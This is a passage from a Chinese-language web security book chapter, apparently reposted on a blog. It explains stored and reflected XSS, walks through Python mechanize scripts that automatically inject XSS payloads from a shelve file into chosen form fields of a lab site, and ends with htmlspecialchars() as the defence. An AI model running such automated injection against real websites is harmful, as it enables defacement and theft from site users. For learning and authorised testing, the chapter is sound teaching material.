在这种类型的攻击中,攻击者的输入被存储在 Web 服务器中。在一些网站上,您会看到评论字段和消息框,您可以在其中写下您的评论。提交评论后,您的评论会显示在显示页面上。试着想象一种情况,您的评论成为 Web 服务器的 HTML 页面的一部分;这意味着您有能力更改网页。如果没有适当的验证,那么您的恶意代码可以存储在数据库中,当它反映回网页时,会产生不良影响。它被永久存储在数据库服务器中,这就是为什么它被称为持久性。

非持久性或反射型 XSS

在这种类型的攻击中,攻击者的输入不会存储在数据库服务器中。响应以错误消息的形式返回。输入是通过 URL 或搜索字段给出的。在本章中,我们将处理存储型 XSS。

现在,让我们看一下 XSS 攻击的代码。代码的逻辑是向网站发送一个利用。在以下代码中,我们将攻击表单的一个字段:

import mechanize
import re 
import shelve
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
#br.set_handle_redirect(False)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
s = shelve.open("mohit.xss",writeback=True)
for form in br.forms():
  print form

att = raw_input("Enter the attack field ")
non = raw_input("Enter the normal field ")
br.select_form(nr=0)

p =0
flag = 'y'
while flag =="y":
  br.open(url)
  br.select_form(nr=0)
  br.form[non] = 'aaaaaaa'
  br.form[att] = s['xss'][p]
  print s['xss'][p]
  br.submit()
  ch = raw_input("Do you continue press y ")
  p = p+1
  flag = ch.lower()

这段代码是为一个使用名称和评论字段的网站编写的。这小段代码将给你一个关于如何进行 XSS 攻击的想法。有时,当你提交评论时,网站会重定向到显示页面。这就是为什么我们使用br.set_handle_redirect(False)语句来进行评论。在代码中,我们将利用代码存储在mohit.xss shelve 文件中。br.forms()中的表单语句将打印出表单。通过查看表单,你可以选择要攻击的表单字段。设置flag = 'y'变量使while循环至少执行一次。有趣的是,当我们使用br.open(url)语句时,它每次都会打开网站的 URL,因为在我的虚拟网站中,我使用了重定向;这意味着在提交表单后,它会重定向到显示页面,显示旧的评论。br.form[non] = 'aaaaaaa'语句只是在输入字段中填充aaaaaa字符串。br.form[att] = s['xss'][p]语句显示所选字段将被 XSS 攻击字符串填充。ch = raw_input("Do you continue press y ")语句要求用户输入下一个攻击。如果用户输入yYch.lower()将其变为y,保持while循环活动。

现在,是时候看输出了。下面的截图显示了192.168.0.5的首页:

网站的首页

现在,是时候看代码的输出了:

代码的输出

你可以在前面的截图中看到代码的输出。当我按下y键时,代码发送了 XSS 攻击。

现在,让我们看看网站的输出:

网站的输出

你可以看到代码成功地将输出发送到网站。然而,由于 PHP 中的安全编码,这个字段不受 XSS 攻击的影响。在本章的最后,你将看到评论字段的安全编码。现在,运行代码并检查名称字段:

名称字段的成功攻击

现在,让我们看看xss_data_handler.py的代码,从中你可以更新mohit.xss

import shelve
def create():
  print "This only for One key "
  s = shelve.open("mohit.xss",writeback=True)
  s['xss']= []

def update():
  s = shelve.open("mohit.xss",writeback=True)
  val1 = int(raw_input("Enter the number of values  "))

  for x in range(val1):
    val = raw_input("n Enter the valuet")
    (s['xss']).append(val)
  s.sync()
  s.close()

def retrieve():
  r = shelve.open("mohit.xss",writeback=True)
  for key in r:
    print "*"*20
    print key
    print r[key]
    print "Total Number ", len(r['xss'])
  r.close()

while (True):
  print "Press"
  print "  C for Create, t  U for Update,t  R for retrieve"
  print "  E for exit"
  print "*"*40
  c=raw_input("Enter t")  
  if (c=='C' or c=='c'):
    create()

  elif(c=='U' or c=='u'):
    update()

  elif(c=='R' or c=='r'):
    retrieve()

  elif(c=='E' or c=='e'):
    exit()
  else:
    print "t Wrong Input"

希望你熟悉前面的代码。现在,看看前面代码的输出:

xss_data_handler.py 的输出

前面的截图显示了mohit.xss文件的内容;xss.py文件限制为两个字段。然而,现在让我们看看不限于两个字段的代码。

xss_list.py文件如下:

import mechanize
import shelve
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
#br.set_handle_redirect(False)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
s = shelve.open("mohit.xss",writeback=True)
for form in br.forms():
  print form
list_a =[]
list_n = []
field = int(raw_input('Enter the number of field "not readonly" '))
for i in xrange(0,field):
  na = raw_input('Enter the field name, "not readonly" ')
  ch = raw_input("Do you attack on this field? press Y ")
  if (ch=="Y" or ch == "y"):
    list_a.append(na)
  else :
    list_n.append(na)

br.select_form(nr=0)

p =0
flag = 'y'
while flag =="y":
  br.open(url)
  br.select_form(nr=0)
  for i in xrange(0, len(list_a)):
    att=list_a[i]
    br.form[att] = s['xss'][p]
  for i in xrange(0, len(list_n)):
    non=list_n[i]
    br.form[non] = 'aaaaaaa'

  print s['xss'][p]
  br.submit()
  ch = raw_input("Do you continue press y ")
  p = p+1
  flag = ch.lower()

前面的代码能够攻击多个字段或单个字段。在这段代码中,我们使用了两个列表,list_alist_nlist_a列表包含你想要发送 XSS 攻击的字段名称,list_n包含你不想要发送 XSS 攻击的字段名称。

现在,让我们看看程序。如果你理解了xss.py程序,你会注意到我们对xss.py进行了修改,以创建xss_list.py

list_a =[]
list_n = []
field = int(raw_input('Enter the number of field "not readonly" '))
for i in xrange(0,field):
  na = raw_input('Enter the field name, "not readonly" ')
  ch = raw_input("Do you attack on this field? press Y ")
  if (ch=="Y" or ch == "y"):
    list_a.append(na)
  else :
    list_n.append(na)

我已经解释了list_a[]list_n[]的重要性。变量字段要求用户输入表单中非只读字段的总数。for i in xrange(0,field):语句定义了从 0 到字段的循环,运行字段次数,意味着表单中存在的字段总数。na变量要求用户输入字段名称,ch变量要求用户输入“你要攻击这个字段吗”?这意味着,如果你按下yY,输入的字段将进入list_a;否则,它将进入list_n

for i in xrange(0, len(list_a)):
    att=list_a[i]
    br.form[att] = s['xss'][p]
  for i in xrange(0, len(list_n)):
    non=list_n[i]
    br.form[non] = 'aaaaaaa'

前面的代码非常容易理解。两个for循环用于两个列表,用于填写表单字段。

代码的输出如下:

填写表单以检查 list_n

前面的屏幕截图显示表单字段的数量为两个。用户输入了表单字段的名称并使它们成为非攻击字段。这只是检查代码的工作方式:

填写表单以检查 list_a 列表

前面的屏幕截图显示用户输入了表单字段并使其攻击字段。

现在,检查网站的响应,如下所示:

表单字段成功填写

前面的屏幕截图显示代码运行正常;前两行已填入普通的aaaaaaa字符串。第三行和第四行已被 XSS 攻击填充。到目前为止,您已经学会了如何自动化 XSS 攻击。通过适当的验证和过滤,Web 开发人员可以保护他们的网站。在 PHP 函数中,htmlspecialchars()字符串可以保护您的网站免受 XSS 攻击。在前面的屏幕截图中,您可以看到评论字段没有受到 XSS 攻击的影响。以下屏幕截图显示了评论字段的编码部分:

显示 htmlspecialchars()函数的图表

当您查看显示页面的源代码时,它看起来像&lt;script&gt;alert(1)&lt;/script&gt;特殊字符<被转换为&lt>被转换为&gt。这种转换称为 HTML 编码。

摘要

在本章中,您学习了两种主要类型的 Web 攻击,SQL 注入和 XSS。在 SQL 注入中,您学习了如何使用 Python 脚本找到管理员登录页面。有许多不同的 SQL 注入查询,在本章中,您学习了如何基于逻辑学研究法破解用户名和密码。在 SQL 注入的另一种攻击中,您学习了如何在有效用户名之后发表评论。在 XSS 中,您看到了如何将 XSS 利用应用到表单字段中,在mohit.xss文件中,您看到了如何添加更多的利用。

posted @ 2024-05-04 14:56  绝不原创的飞龙  阅读(40)  评论(0编辑  收藏  举报